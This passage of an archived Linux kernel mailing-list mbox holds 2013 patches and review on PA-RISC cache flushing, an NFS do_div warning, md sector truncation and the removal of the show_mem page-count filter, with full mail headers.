+	/* Flush dcache page on CPUs that require coherency. */
+	if (parisc_requires_coherency())
+		flush_dcache_page(page);
 	return page_address(page);
 }
 
 static inline void kunmap(struct page *page)
 {
-	kunmap_parisc(page_address(page));
+	/* Always flush kernel dcache, even if CPU doesn't require conherency.
+	 * Needed on CPUs < PA8800/PA8900 for AIO support. */
+	flush_kernel_dcache_page_addr(page_address(page));
 }
 
 static inline void *kmap_atomic(struct page *page)
 {
 	pagefault_disable();
+	/* Flush dcache page on CPUs that require coherency. */
+	if (parisc_requires_coherency())
+		flush_dcache_page(page);
 	return page_address(page);
 }
 
 static inline void __kunmap_atomic(void *addr)
 {
-	kunmap_parisc(addr);
+	flush_kernel_dcache_page_addr(addr);
 	pagefault_enable();
 }
 
 #define kmap_atomic_prot(page, prot)	kmap_atomic(page)
 #define kmap_atomic_pfn(pfn)	kmap_atomic(pfn_to_page(pfn))
 #define kmap_atomic_to_page(ptr)	virt_to_page(ptr)
-#endif
 
 #endif /* _PARISC_CACHEFLUSH_H */
 
diff --git a/arch/parisc/include/asm/processor.h b/arch/parisc/include/asm/processor.h
index cc2290a..9cbee39 100644
--- a/arch/parisc/include/asm/processor.h
+++ b/arch/parisc/include/asm/processor.h
@@ -106,6 +106,7 @@ struct cpuinfo_parisc {
 };
 
 extern struct system_cpuinfo_parisc boot_cpu_data;
+extern int parisc_coherent_cpu;
 DECLARE_PER_CPU(struct cpuinfo_parisc, cpu_data);
 
 #define CPU_HVERSION ((boot_cpu_data.hversion >> 4) & 0x0FFF)
@@ -338,8 +339,7 @@ extern unsigned long get_wchan(struct task_struct *p);
 static inline int parisc_requires_coherency(void)
 {
 #ifdef CONFIG_PA8X00
-	return (boot_cpu_data.cpu_type == mako) ||
-		(boot_cpu_data.cpu_type == mako2);
+	return parisc_coherent_cpu;
 #else
 	return 0;
 #endif
diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index c035673..3c6899f 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -391,8 +391,6 @@ EXPORT_SYMBOL(flush_kernel_dcache_page_addr);
 void clear_user_page(void *vto, unsigned long vaddr, struct page *page)
 {
 	clear_page_asm(vto);
-	if (!parisc_requires_coherency())
-		flush_kernel_dcache_page_asm(vto);
 }
 EXPORT_SYMBOL(clear_user_page);
 
@@ -401,28 +399,18 @@ void copy_user_page(void *vto, void *vfrom, unsigned long vaddr,
 {
 	/* Copy using kernel mapping.  No coherency is needed
 	   (all in kmap/kunmap) on machines that don't support
-	   non-equivalent aliasing.  However, the `from' page
-	   needs to be flushed before it can be accessed through
-	   the kernel mapping. */
-	preempt_disable();
-	flush_dcache_page_asm(__pa(vfrom), vaddr);
-	preempt_enable();
+	   non-equivalent aliasing.  On other machines, the
+	   `from' page needs to be flushed before it can be
+	   accessed through the kernel mapping. */
+	if (!parisc_requires_coherency()) {
+		preempt_disable();
+		flush_dcache_page_asm(__pa(vfrom), vaddr);
+		preempt_enable();
+	}
 	copy_page_asm(vto, vfrom);
-	if (!parisc_requires_coherency())
-		flush_kernel_dcache_page_asm(vto);
 }
 EXPORT_SYMBOL(copy_user_page);
 
-#ifdef CONFIG_PA8X00
-
-void kunmap_parisc(void *addr)
-{
-	if (parisc_requires_coherency())
-		flush_kernel_dcache_page_addr(addr);
-}
-EXPORT_SYMBOL(kunmap_parisc);
-#endif
-
 void purge_tlb_entries(struct mm_struct *mm, unsigned long addr)
 {
 	unsigned long flags;
diff --git a/arch/parisc/kernel/processor.c b/arch/parisc/kernel/processor.c
index b68d977..f1b8c48 100644
--- a/arch/parisc/kernel/processor.c
+++ b/arch/parisc/kernel/processor.c
@@ -45,6 +45,11 @@
 struct system_cpuinfo_parisc boot_cpu_data __read_mostly;
 EXPORT_SYMBOL(boot_cpu_data);
 
+#ifdef CONFIG_PA8X00
+int parisc_coherent_cpu __read_mostly;
+EXPORT_SYMBOL(parisc_coherent_cpu);
+#endif
+
 DEFINE_PER_CPU(struct cpuinfo_parisc, cpu_data);
 
 extern int update_cr16_clocksource(void);	/* from time.c */
@@ -271,6 +276,11 @@ void __init collect_boot_cpu_data(void)
 		printk(KERN_INFO "model %s\n",
 			boot_cpu_data.pdc.sys_model_name);
 
+#ifdef CONFIG_PA8X00
+	parisc_coherent_cpu = (boot_cpu_data.cpu_type == mako) ||
+			      (boot_cpu_data.cpu_type == mako2);
+#endif
+
 	boot_cpu_data.hversion =  boot_cpu_data.pdc.model.hversion;
 	boot_cpu_data.sversion =  boot_cpu_data.pdc.model.sversion;
 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.nfs,gmane.linux.kernel
Subject: [PATCH] nfs: fix do_div() warning by instead using sector_div()
Date: Mon, 2 Dec 2013 19:59:31 +0100
Lines: 42
Approved: news@gmane.org
Message-ID: <20131202185931.GA1992@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1386010772 15409 80.91.229.3 (2 Dec 2013 18:59:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 2 Dec 2013 18:59:32 +0000 (UTC)
To: linux-nfs@vger.kernel.org,
	Linux Kernel <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 02 19:59:37 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VnYiW-0007rx-AP
	for glpp-linux-parisc@plane.gmane.org; Mon, 02 Dec 2013 19:59:36 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752301Ab3LBS7f convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 2 Dec 2013 13:59:35 -0500
Original-Received: from mout.gmx.net ([212.227.17.21]:62083 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751041Ab3LBS7e (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 2 Dec 2013 13:59:34 -0500
Original-Received: from ls3530.box ([84.173.46.184]) by mail.gmx.com (mrgmx102) with
 ESMTPSA (Nemesis) id 0LsfrR-1VcegG1JRR-012H32 for
 <linux-parisc@vger.kernel.org>; Mon, 02 Dec 2013 19:59:33 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Provags-ID: V03:K0:padBJZ25DMk8yVOFLBYrM0CDXOiNkH1xbVf6zNpF3PidbE6yfxG
 JSZA53A8AexwB6pKVaLbNPGs4j64fjc7HxB7Krangl3BHRdT23ZetKAy0gzsMPWkls5eXS8
 JHSmO4+/UDTactB9XosB0gPnvX7nzWEDKYnNUu3fbjebspYTfZjnAOboHGW7DfFJnpz6SFd
 wVW8oYSedJapvBEqwjVZw==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5526 gmane.linux.nfs:60360 gmane.linux.kernel:1604998
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5526>

When compiling a 32bit kernel with CONFIG_LBDAF=3Dn the compiler compla=
ins like
shown below.  Fix this warning by instead using sector_div() which is p=
rovided
by the kernel.h header file.
=20
fs/nfs/blocklayout/extents.c: In function =E2=80=98normalize=E2=80=99:
include/asm-generic/div64.h:43:28: warning: comparison of distinct poin=
ter types lacks a cast [enabled by default]
fs/nfs/blocklayout/extents.c:47:13: note: in expansion of macro =E2=80=98=
do_div=E2=80=99
nfs/blocklayout/extents.c:47:2: warning: right shift count >=3D width o=
f type [enabled by default]
fs/nfs/blocklayout/extents.c:47:2: warning: passing argument 1 of =E2=80=
=98__div64_32=E2=80=99 from incompatible pointer type [enabled by defau=
lt]
include/asm-generic/div64.h:35:17: note: expected =E2=80=98uint64_t *=E2=
=80=99 but argument is of type =E2=80=98sector_t *=E2=80=99
 extern uint32_t __div64_32(uint64_t *dividend, uint32_t divisor);

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/fs/nfs/blocklayout/extents.c b/fs/nfs/blocklayout/extents.=
c
index 9c3e117..4d01614 100644
--- a/fs/nfs/blocklayout/extents.c
+++ b/fs/nfs/blocklayout/extents.c
@@ -44,7 +44,7 @@
 static inline sector_t normalize(sector_t s, int base)
 {
 	sector_t tmp =3D s; /* Since do_div modifies its argument */
-	return s - do_div(tmp, base);
+	return s - sector_div(tmp, base);
 }
=20
 static inline sector_t normalize_up(sector_t s, int base)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.device-mapper.devel
Subject: [PATCH] md: fix compiler warning: large integer implicitly truncated
 to unsigned type
Date: Mon, 2 Dec 2013 20:12:20 +0100
Lines: 40
Approved: news@gmane.org
Message-ID: <20131202191220.GA2314@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1386011547 24745 80.91.229.3 (2 Dec 2013 19:12:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 2 Dec 2013 19:12:27 +0000 (UTC)
To: dm-devel@redhat.com, linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 02 20:12:31 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VnYv0-0000wn-Nz
	for glpp-linux-parisc@plane.gmane.org; Mon, 02 Dec 2013 20:12:31 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752837Ab3LBTMZ convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 2 Dec 2013 14:12:25 -0500
Original-Received: from mout.gmx.net ([212.227.17.22]:61352 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752788Ab3LBTMX (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 2 Dec 2013 14:12:23 -0500
Original-Received: from ls3530.box ([84.173.46.184]) by mail.gmx.com (mrgmx003) with
 ESMTPSA (Nemesis) id 0MBWTO-1Vvqeh3fVO-00AZXw for
 <linux-parisc@vger.kernel.org>; Mon, 02 Dec 2013 20:12:22 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Provags-ID: V03:K0:2JHtOJtuGgTKdA4lW8//dGjcO4j11CURlDk94BdXOS0EnglJk3c
 uMFkKfQgv2+xR2+PGe6CE6usYOI9me+vT0O+hwjPTGWnnaxJ3viFNyU8xx1RfULV1J72vcN
 YWt77MRP3zGSxBzq2yutV1cHNY3ktb/fXGDQ8HrP008goa4Ta6/4EADBNqGAnvfp3moBHlw
 jz/MCLpL322zng6KBwunw==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5527 gmane.linux.kernel.device-mapper.devel:19430
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5527>

Compiling a 32bit kernel with CONFIG_LBDAF=3Dn gives this compiler warn=
ing:
/drivers/md/md.c: In function =E2=80=98super_90_load=E2=80=99:
/drivers/md/md.c:1068:3: warning: large integer implicitly truncated to=
 unsigned type [-Woverflow]

=46ix it by casting the calculated value to a sector_t type.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/drivers/md/md.c b/drivers/md/md.c
index e60cebf..b56f1c7 100644
--- a/drivers/md/md.c
+++ b/drivers/md/md.c
@@ -1065,7 +1065,7 @@ static int super_90_load(struct md_rdev *rdev, st=
ruct md_rdev *refdev, int minor
 	 * record this size)
 	 */
 	if (rdev->sectors >=3D (2ULL << 32) && sb->level >=3D 1)
-		rdev->sectors =3D (2ULL << 32) - 2;
+		rdev->sectors =3D (sector_t) ((2ULL << 32) - 2);
=20
 	if (rdev->sectors < ((sector_t)sb->size) * 2 && sb->level >=3D 1)
 		/* "this cannot possibly happen" ... */
@@ -1356,7 +1356,7 @@ super_90_rdev_size_change(struct md_rdev *rdev, s=
ector_t num_sectors)
 	 * 4TB =3D=3D 2^32 KB, or 2*2^32 sectors.
 	 */
 	if (num_sectors >=3D (2ULL << 32) && rdev->mddev->level >=3D 1)
-		num_sectors =3D (2ULL << 32) - 2;
+		num_sectors =3D (sector_t) ((2ULL << 32) - 2);
 	md_super_write(rdev->mddev, rdev, rdev->sb_start, rdev->sb_size,
 		       rdev->sb_page);
 	md_super_wait(rdev->mddev);
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:09:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thadeu Lima de Souza Cascardo <cascardo@linux.vnet.ibm.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.device-mapper.devel
Subject: Re: [dm-devel] [PATCH] md: fix compiler warning: large integer
 implicitly truncated to unsigned type
Date: Tue, 3 Dec 2013 11:47:19 -0200
Lines: 59
Approved: news@gmane.org
Message-ID: <20131203134719.GG24646@oc0268524204.ibm.com>
References: <20131202191220.GA2314@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1386078507 8043 80.91.229.3 (3 Dec 2013 13:48:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 3 Dec 2013 13:48:27 +0000 (UTC)
Cc: dm-devel@redhat.com, linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 03 14:48:32 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VnqKY-0000Gd-1s
	for glpp-linux-parisc@plane.gmane.org; Tue, 03 Dec 2013 14:48:02 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752891Ab3LCNsB convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 3 Dec 2013 08:48:01 -0500
Original-Received: from e24smtp04.br.ibm.com ([32.104.18.25]:57439 "EHLO
	e24smtp04.br.ibm.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752542Ab3LCNsA (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 3 Dec 2013 08:48:00 -0500
Original-Received: from /spool/local
	by e24smtp04.br.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted
	for <linux-parisc@vger.kernel.org> from <cascardo@linux.vnet.ibm.com>;
	Tue, 3 Dec 2013 11:47:57 -0200
Original-Received: from d24dlp01.br.ibm.com (9.18.248.204)
	by e24smtp04.br.ibm.com (10.172.0.140) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted;
	Tue, 3 Dec 2013 11:47:55 -0200
Original-Received: from d24relay01.br.ibm.com (d24relay01.br.ibm.com [9.8.31.16])
	by d24dlp01.br.ibm.com (Postfix) with ESMTP id 3727A352007B
	for <linux-parisc@vger.kernel.org>; Tue,  3 Dec 2013 08:47:23 -0500 (EST)
Original-Received: from d24av04.br.ibm.com (d24av04.br.ibm.com [9.8.31.97])
	by d24relay01.br.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id rB3DlRvj4558888
	for <linux-parisc@vger.kernel.org>; Tue, 3 Dec 2013 11:47:28 -0200
Original-Received: from d24av04.br.ibm.com (localhost [127.0.0.1])
	by d24av04.br.ibm.com (8.14.4/8.14.4/NCO v10.0 AVout) with ESMTP id rB3DlM1S031128
	for <linux-parisc@vger.kernel.org>; Tue, 3 Dec 2013 11:47:23 -0200
Original-Received: from oc0268524204.ibm.com ([9.8.4.187])
	by d24av04.br.ibm.com (8.14.4/8.14.4/NCO v10.0 AVin) with ESMTP id rB3DlKvS031015
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO);
	Tue, 3 Dec 2013 11:47:22 -0200
Content-Disposition: inline
In-Reply-To: <20131202191220.GA2314@ls3530.box>
User-Agent: Mutt/1.5.20 (2009-12-10)
X-TM-AS-MML: disable
X-Content-Scanned: Fidelis XPS MAILER
x-cbid: 13120313-8936-0000-0000-00000C0CE7AC
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5529 gmane.linux.kernel.device-mapper.devel:19431
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5529>

On Mon, Dec 02, 2013 at 08:12:20PM +0100, Helge Deller wrote:
> Compiling a 32bit kernel with CONFIG_LBDAF=3Dn gives this compiler wa=
rning:
> /drivers/md/md.c: In function =E2=80=98super_90_load=E2=80=99:
> /drivers/md/md.c:1068:3: warning: large integer implicitly truncated =
to unsigned type [-Woverflow]
>=20
> Fix it by casting the calculated value to a sector_t type.
>=20
> Signed-off-by: Helge Deller <deller@gmx.de>
>=20
> diff --git a/drivers/md/md.c b/drivers/md/md.c
> index e60cebf..b56f1c7 100644
> --- a/drivers/md/md.c
> +++ b/drivers/md/md.c
> @@ -1065,7 +1065,7 @@ static int super_90_load(struct md_rdev *rdev, =
struct md_rdev *refdev, int minor
>  	 * record this size)
>  	 */
>  	if (rdev->sectors >=3D (2ULL << 32) && sb->level >=3D 1)
> -		rdev->sectors =3D (2ULL << 32) - 2;
> +		rdev->sectors =3D (sector_t) ((2ULL << 32) - 2);
> =20
>  	if (rdev->sectors < ((sector_t)sb->size) * 2 && sb->level >=3D 1)
>  		/* "this cannot possibly happen" ... */
> @@ -1356,7 +1356,7 @@ super_90_rdev_size_change(struct md_rdev *rdev,=
 sector_t num_sectors)
>  	 * 4TB =3D=3D 2^32 KB, or 2*2^32 sectors.
>  	 */
>  	if (num_sectors >=3D (2ULL << 32) && rdev->mddev->level >=3D 1)
> -		num_sectors =3D (2ULL << 32) - 2;
> +		num_sectors =3D (sector_t) ((2ULL << 32) - 2);
>  	md_super_write(rdev->mddev, rdev, rdev->sb_start, rdev->sb_size,
>  		       rdev->sb_page);
>  	md_super_wait(rdev->mddev);
>=20

It does overflow and get truncated on 32-bit systems without LABDF.
Casting is just hiding the problem! 32-bit systems without LABDF do not
support block devices larger than 2TB, and thus, should not worry about
larger than 4TB devices.

This code should either be ifdef'd to 64-bit or LABDF, or should test
for the size of sector_t. The second option would still need some chang=
e
in the code in order to avoid the warning, or we should don't care abou=
t
them, since testing for num_sectors >=3D (2ULL << 32) should always be
false.

Regards.
Cascardo.

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mel Gorman <mgorman@suse.de>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.mm,gmane.linux.kernel
Subject: [PATCH] mm, show_mem: Remove SHOW_MEM_FILTER_PAGE_COUNT
Date: Tue, 3 Dec 2013 14:57:21 +0000
Lines: 392
Approved: news@gmane.org
Message-ID: <20131203145721.GQ11295@suse.de>
References: <20131016104228.GM11028@suse.de>
 <alpine.DEB.2.02.1310161809470.12062@chino.kir.corp.google.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-15
X-Trace: ger.gmane.org 1386082650 29337 80.91.229.3 (3 Dec 2013 14:57:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 3 Dec 2013 14:57:30 +0000 (UTC)
Cc: David Rientjes <rientjes@google.com>,
	Tony Luck <tony.luck@intel.com>,
	Russell King <linux@arm.linux.org.uk>,
	James Bottomley <jejb@parisc-linux.org>,
	linux-arm-kernel@lists.infradead.org, linux-ia64@vger.kernel.org,
	linux-parisc@vger.kernel.org, Linux-MM <linux-mm@kvack.org>,
	LKML <linux-kernel@vger.kernel.org>
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linux-ia64-owner@vger.kernel.org Tue Dec 03 15:57:34 2013
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1VnrPn-0006or-9o
	for glpi-linux-ia64-2@plane.gmane.org; Tue, 03 Dec 2013 15:57:31 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754373Ab3LCO53 (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
	Tue, 3 Dec 2013 09:57:29 -0500
Original-Received: from cantor2.suse.de ([195.135.220.15]:36743 "EHLO mx2.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754202Ab3LCO52 (ORCPT <rfc822;linux-ia64@vger.kernel.org>);
	Tue, 3 Dec 2013 09:57:28 -0500
Original-Received: from relay1.suse.de (unknown [195.135.220.254])
	by mx2.suse.de (Postfix) with ESMTP id 1AB6BA7B64;
	Tue,  3 Dec 2013 15:57:25 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <alpine.DEB.2.02.1310161809470.12062@chino.kir.corp.google.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:23488 gmane.linux.ports.arm.kernel:284574 gmane.linux.ports.parisc:5530 gmane.linux.kernel.mm:109968 gmane.linux.kernel:1606202
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/23488>

Commit 4b59e6c4 (mm, show_mem: suppress page counts in non-blockable
contexts) introduced SHOW_MEM_FILTER_PAGE_COUNT to suppress PFN walks
on large memory machines. Commit c78e9363 (mm: do not walk all of system
memory during show_mem) avoided a PFN walk in the generic show_mem helper
which removes the requirement for SHOW_MEM_FILTER_PAGE_COUNT in that case.

This patch removes PFN walkers from the arch-specific implementations that
report on a per-node or per-zone granularity. ARM and unicore32 still do
a PFN walk as they report memory usage on each bank which is a much finer
granularity where the debugging information may still be of use. As the
remaining arches doing PFN walks have relatively small amounts of memory,
this patch simply removes SHOW_MEM_FILTER_PAGE_COUNT.

Signed-off-by: Mel Gorman <mgorman@suse.de>
---
 arch/arm/mm/init.c       |  3 ---
 arch/ia64/mm/contig.c    | 68 ------------------------------------------------
 arch/ia64/mm/discontig.c | 63 --------------------------------------------
 arch/ia64/mm/init.c      | 48 ++++++++++++++++++++++++++++++++++
 arch/parisc/mm/init.c    | 62 ++++++++++++++-----------------------------
 arch/unicore32/mm/init.c |  3 ---
 include/linux/mm.h       |  1 -
 lib/show_mem.c           |  3 ---
 mm/page_alloc.c          |  7 -----
 9 files changed, 68 insertions(+), 190 deletions(-)

diff --git a/arch/arm/mm/init.c b/arch/arm/mm/init.c
index 3e8f106..2e71e24 100644
--- a/arch/arm/mm/init.c
+++ b/arch/arm/mm/init.c
@@ -92,9 +92,6 @@ void show_mem(unsigned int filter)
 	printk("Mem-info:\n");
 	show_free_areas(filter);
 
-	if (filter & SHOW_MEM_FILTER_PAGE_COUNT)
-		return;
-
 	for_each_bank (i, mi) {
 		struct membank *bank = &mi->bank[i];
 		unsigned int pfn1, pfn2;
diff --git a/arch/ia64/mm/contig.c b/arch/ia64/mm/contig.c
index da5237d..52715a7 100644
--- a/arch/ia64/mm/contig.c
+++ b/arch/ia64/mm/contig.c
@@ -31,74 +31,6 @@
 static unsigned long max_gap;
 #endif
 
-/**
- * show_mem - give short summary of memory stats
- *
- * Shows a simple page count of reserved and used pages in the system.
- * For discontig machines, it does this on a per-pgdat basis.
- */
-void show_mem(unsigned int filter)
-{
-	int i, total_reserved = 0;
-	int total_shared = 0, total_cached = 0;
-	unsigned long total_present = 0;
-	pg_data_t *pgdat;
-
-	printk(KERN_INFO "Mem-info:\n");
-	show_free_areas(filter);
-	printk(KERN_INFO "Node memory in pages:\n");
-	if (filter & SHOW_MEM_FILTER_PAGE_COUNT)
-		return;
-	for_each_online_pgdat(pgdat) {
-		unsigned long present;
-		unsigned long flags;
-		int shared = 0, cached = 0, reserved = 0;
-		int nid = pgdat->node_id;
-
-		if (skip_free_areas_node(filter, nid))
-			continue;
-		pgdat_resize_lock(pgdat, &flags);
-		present = pgdat->node_present_pages;
-		for(i = 0; i < pgdat->node_spanned_pages; i++) {
-			struct page *page;
-			if (unlikely(i % MAX_ORDER_NR_PAGES == 0))
-				touch_nmi_watchdog();
-			if (pfn_valid(pgdat->node_start_pfn + i))
-				page = pfn_to_page(pgdat->node_start_pfn + i);
-			else {
-#ifdef CONFIG_VIRTUAL_MEM_MAP
-				if (max_gap < LARGE_GAP)
-					continue;
-#endif
-				i = vmemmap_find_next_valid_pfn(nid, i) - 1;
-				continue;
-			}
-			if (PageReserved(page))
-				reserved++;
-			else if (PageSwapCache(page))
-				cached++;
-			else if (page_count(page))
-				shared += page_count(page)-1;
-		}
-		pgdat_resize_unlock(pgdat, &flags);
-		total_present += present;
-		total_reserved += reserved;
-		total_cached += cached;
-		total_shared += shared;
-		printk(KERN_INFO "Node %4d:  RAM: %11ld, rsvd: %8d, "
-		       "shrd: %10d, swpd: %10d\n", nid,
-		       present, reserved, shared, cached);
-	}
-	printk(KERN_INFO "%ld pages of RAM\n", total_present);
-	printk(KERN_INFO "%d reserved pages\n", total_reserved);
-	printk(KERN_INFO "%d pages shared\n", total_shared);
-	printk(KERN_INFO "%d pages swap cached\n", total_cached);
-	printk(KERN_INFO "Total of %ld pages in page table cache\n",
-	       quicklist_total_size());
-	printk(KERN_INFO "%ld free buffer pages\n", nr_free_buffer_pages());
-}
-
-
 /* physical address where the bootmem map is located */
 unsigned long bootmap_start;
 
diff --git a/arch/ia64/mm/discontig.c b/arch/ia64/mm/discontig.c
index 2de08f4..8786268 100644
--- a/arch/ia64/mm/discontig.c
+++ b/arch/ia64/mm/discontig.c
@@ -608,69 +608,6 @@ void *per_cpu_init(void)
 #endif /* CONFIG_SMP */
 
 /**
- * show_mem - give short summary of memory stats
- *
- * Shows a simple page count of reserved and used pages in the system.
- * For discontig machines, it does this on a per-pgdat basis.
- */
-void show_mem(unsigned int filter)
-{
-	int i, total_reserved = 0;
-	int total_shared = 0, total_cached = 0;
-	unsigned long total_present = 0;
-	pg_data_t *pgdat;
-
-	printk(KERN_INFO "Mem-info:\n");
-	show_free_areas(filter);
-	if (filter & SHOW_MEM_FILTER_PAGE_COUNT)
-		return;
-	printk(KERN_INFO "Node memory in pages:\n");
-	for_each_online_pgdat(pgdat) {
-		unsigned long present;
-		unsigned long flags;
-		int shared = 0, cached = 0, reserved = 0;
-		int nid = pgdat->node_id;
-
-		if (skip_free_areas_node(filter, nid))
-			continue;
-		pgdat_resize_lock(pgdat, &flags);
-		present = pgdat->node_present_pages;
-		for(i = 0; i < pgdat->node_spanned_pages; i++) {
-			struct page *page;
-			if (unlikely(i % MAX_ORDER_NR_PAGES == 0))
-				touch_nmi_watchdog();
-			if (pfn_valid(pgdat->node_start_pfn + i))
-				page = pfn_to_page(pgdat->node_start_pfn + i);
-			else {
-				i = vmemmap_find_next_valid_pfn(nid, i) - 1;
-				continue;
-			}
-			if (PageReserved(page))
